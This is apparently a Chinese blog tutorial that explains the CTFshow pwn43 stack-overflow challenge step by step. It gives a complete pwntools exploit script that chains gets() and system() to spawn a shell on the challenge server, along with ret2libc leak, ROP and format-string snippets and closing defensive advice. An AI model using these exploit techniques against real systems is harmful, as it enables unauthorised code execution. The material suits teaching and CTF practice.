news 2026/6/3 3:37:09

保姆级教程:用Python的pwntools复现CTFshow pwn43栈溢出(附完整exp代码与逐行注释)

作者头像

张小明

前端开发工程师

1.2k 24
文章封面图
保姆级教程:用Python的pwntools复现CTFshow pwn43栈溢出(附完整exp代码与逐行注释)

从零构建PWN实战:Python pwntools攻防艺术与CTFshow pwn43深度解析

在网络安全竞赛的世界里,PWN题目总是散发着独特的魅力——它像一场精心设计的数字迷宫游戏,考验着参与者对底层系统原理的深刻理解与创造性解决问题的能力。而当我们掌握了漏洞原理和攻击思路后,如何将这些理论知识转化为实际可操作的攻击脚本,就成了摆在许多初学者面前的一道门槛。这就是我们今天要重点探讨的内容:使用Python的pwntools库,将CTFshow pwn43这道经典的栈溢出题目从理论分析到实战复现的全过程。

pwntools作为一款专为CTF比赛开发的Python库,已经成为PWN选手的标配工具。它封装了与二进制程序交互的复杂细节,提供了简洁高效的API,让我们能够专注于攻击逻辑的构建而非底层通信的实现。本文将从实战角度出发,手把手带你完成pwn43题目的完整攻击链构建,每一行代码都将得到详细解释,确保即使是没有pwntools使用经验的读者也能跟上节奏。

1. 环境准备与题目分析

在开始编写攻击脚本之前,我们需要先搭建好实验环境并深入理解目标程序的漏洞点。这道pwn43题目是一个32位的ELF可执行文件,核心漏洞点在于使用了不安全的gets()函数导致栈溢出。

首先安装必要的工具链:

# 安装pwntools和调试工具 pip install pwntools sudo apt-get install gdb gdb-multiarch

使用checksec检查程序保护机制:

checksec pwn43

输出可能显示:

Arch: i386-32-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x8048000)

从保护机制可以看出几个关键信息:

  • 32位小端序架构
  • 没有栈保护(Canary)
  • 开启了NX(数据执行保护)
  • 没有地址随机化(PIE)

这些信息将直接影响我们的攻击方式。特别是NX保护的存在意味着我们不能直接在栈上执行shellcode,必须采用ROP(Return-Oriented Programming)等技术绕过。

使用IDA Pro分析程序,我们发现关键函数如下:

int ctfshow() { char s[104]; // [esp+0h] [ebp-6Ch] gets(s); return puts(s); }

这里定义了一个104字节的缓冲区,但gets()函数没有长度限制,导致我们可以输入任意长度的数据覆盖返回地址。通过计算可以确定偏移量:

缓冲区起始地址:ebp-0x6C 返回地址位置:ebp+0x4 偏移量 = 0x6C + 4 = 112字节

2. 攻击思路设计与关键地址定位

这道题目的特殊之处在于程序中虽然存在system()函数,但没有现成的"/bin/sh"字符串作为参数。我们需要自己构造这个字符串并传递给system()。

通过gdb调试,我们可以找到可用的内存区域:

gdb-peda$ vmmap 0x804b000 0x804c000 rw-p /home/ctfshow/pwn43

这段内存具有读写权限,我们可以将"/bin/sh"写入这里。进一步分析发现程序中有一个未初始化的全局变量buf2位于0x804b060,这正是理想的写入位置。

关键函数地址:

  • system(): 0x8048450
  • gets(): 0x8048420
  • buf2地址: 0x804b060

攻击链设计如下:

  1. 通过栈溢出覆盖返回地址为gets()函数
  2. 设置gets()的返回地址为system()
  3. gets()的参数设置为buf2地址,这样我们可以写入"/bin/sh"
  4. system()的参数也设置为buf2地址,执行system("/bin/sh")

3. pwntools实战:构建完整攻击脚本

现在我们将上述思路转化为pwntools代码。创建一个名为exp.py的文件,开始编写攻击脚本:

#!/usr/bin/env python3 from pwn import * # 设置目标程序架构和日志级别 context(arch='i386', os='linux', log_level='debug') # 远程连接或本地调试设置 def start(): if args.REMOTE: return remote('pwn.challenge.ctf.show', 28227) else: return process('./pwn43') p = start()

这段初始化代码做了几件事:

  • 设置目标环境为32位Linux
  • 启用debug日志以便观察交互细节
  • 提供灵活的启动方式,可通过命令行参数切换本地/远程

接下来定义关键地址和偏移量:

# 关键地址定义 offset = 112 # 0x6C + 4 system_addr = 0x8048450 gets_addr = 0x8048420 buf2_addr = 0x804b060

构造payload是攻击的核心部分,我们需要精心设计栈布局:

# 构造ROP链 payload = flat( b'A' * offset, # 填充缓冲区 gets_addr, # 覆盖返回地址为gets() system_addr, # gets()的返回地址为system() buf2_addr, # gets()的参数:写入地址 buf2_addr # system()的参数:"/bin/sh"地址 )

这里使用了pwntools的flat()函数,它自动处理了地址打包和对齐问题。等价于:

payload = b'A'*offset + p32(gets_addr) + p32(system_addr) + p32(buf2_addr) + p32(buf2_addr)

发送payload并完成攻击链:

# 发送第一阶段payload p.sendline(payload) # 发送第二阶段数据:写入"/bin/sh" p.sendline(b'/bin/sh\x00') # 切换到交互模式 p.interactive()

完整脚本还应该包含错误处理和用户友好的交互:

try: # 攻击代码... except EOFError: log.error("连接中断,请检查服务是否可用") except Exception as e: log.error(f"发生错误: {str(e)}")

4. 攻击流程详解与调试技巧

理解payload的构造原理至关重要。让我们分解栈布局在攻击过程中的变化:

原始栈结构:

[缓冲区(104)][ebp(4)][返回地址(4)]

攻击后的栈结构:

[AAA...A(112)][gets_addr][system_addr][buf2_addr][buf2_addr]

程序执行流程:

  1. ctfshow()函数返回时,从栈顶弹出返回地址(现在被覆盖为gets_addr)
  2. 跳转到gets()执行,同时从栈中读取参数(buf2_addr)
  3. gets()执行完毕返回时,从栈中弹出返回地址(system_addr)
  4. 跳转到system()执行,参数为buf2_addr(此时已写入"/bin/sh")

调试技巧:

  • 使用context.log_level = 'debug'查看详细通信日志
  • 在关键位置插入pause()暂停执行以便观察
  • 使用gdb附加调试:gdb.attach(p)

常见问题排查:

  1. 偏移量计算错误:使用cyclic模式生成测试字符串定位精确偏移
    payload = cyclic(200) p.sendline(payload)
  2. 地址打包错误:确保使用p32()处理32位地址
  3. 参数顺序错误:记住cdecl调用约定是参数从右向左压栈
  4. 字符串终止问题:确保"/bin/sh"以null字节结尾

5. 高级技巧与防御绕过

虽然我们已经完成了基础攻击,但实际CTF比赛中往往需要更多技巧。下面介绍几种进阶技术:

5.1 利用ROP链构造复杂攻击

当程序中没有现成的system()函数时,我们可以构建ROP链:

# 示例:通过ROP调用execve("/bin/sh", 0, 0) rop = ROP('./pwn43') rop.execve(next(p.elf.search(b'/bin/sh')), 0, 0) payload = flat({offset: rop.chain()})

5.2 应对ASLR的泄露技术

如果开启了ASLR,需要先泄露地址:

# 泄露libc地址 payload = flat( b'A'*offset, elf.plt['puts'], elf.sym['main'], elf.got['puts'] ) p.sendline(payload) leak = u32(p.recv(4)) libc.address = leak - libc.sym['puts']

5.3 利用格式化字符串漏洞

结合格式化字符串漏洞可以更灵活地读写内存:

# 通过格式化字符串漏洞写内存 payload = fmtstr_payload(offset, {buf2_addr: u32(b'sh\x00\x00')})

6. 安全编程启示与防御措施

理解了攻击原理后,我们更应该思考如何防御这类漏洞。几个关键建议:

  1. 永远不要使用不安全的函数(gets, sprintf等)
  2. 启用所有安全保护机制:
    // 编译时选项 gcc -fstack-protector-all -pie -fPIE -Wl,-z,now
  3. 使用现代防护技术如CET(Control-flow Enforcement Technology)
  4. 实施严格的输入验证和长度检查

对于开发者来说,理解攻击技术是构建安全系统的第一步。正如密码学专家Bruce Schneier所说:"安全不是产品,而是一个过程"。只有深入理解攻击者的思维和方法,我们才能设计出真正安全的系统。

在完成这道题目的过程中,最让我印象深刻的是pwntools设计之精妙——它将复杂的底层交互封装成简洁的Python接口,让我们能够专注于攻击逻辑本身。特别是在调试阶段,context.log_level='debug'提供的详细通信日志往往能快速定位问题所在。

版权声明: 本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若内容造成侵权/违法违规/事实不符,请联系邮箱:809451989@qq.com进行投诉反馈,一经查实,立即删除!
网站建设 2026/6/3 3:37:05

消防安全警示展厅设备【模拟火灾逃生通道体验系统】

在火灾事故中,错误的逃生方式往往比火源本身更具危险性。面对突发火情,很多人因为缺乏实战经验,容易出现慌乱、判断失误等问题,导致错失最佳逃生时机。为解决这一痛点,消防安全警示展厅中引入了“模拟火灾逃生通道体验…

作者头像 李华
网站建设 2026/6/3 3:36:11

Ansaldo cpu684 印刷电路板

Ansaldo CPU684 印刷电路板具备高性能处理能力、工业级可靠性与良好的抗干扰特性,主要特点如下:中间(15条)高性能嵌入式处理器:搭载专用工业级CPU芯片,具备高速数据运算与逻辑处理能力。紧凑型高密度布局&a…

作者头像 李华
网站建设 2026/6/3 3:32:31

手把手教你用CW-DAPLINK调试CW32单片机(附IAR/MDK配置与常见问题排查)

从零开始掌握CW-DAPLINK调试器:CW32单片机开发实战指南第一次拿到CW32开发板和那个小巧的CW-DAPLINK调试器时,我和大多数嵌入式新手一样既兴奋又忐忑。兴奋的是终于可以动手实践,忐忑的是面对一堆线缆和接口不知从何下手。本文将带你完整走通…

作者头像 李华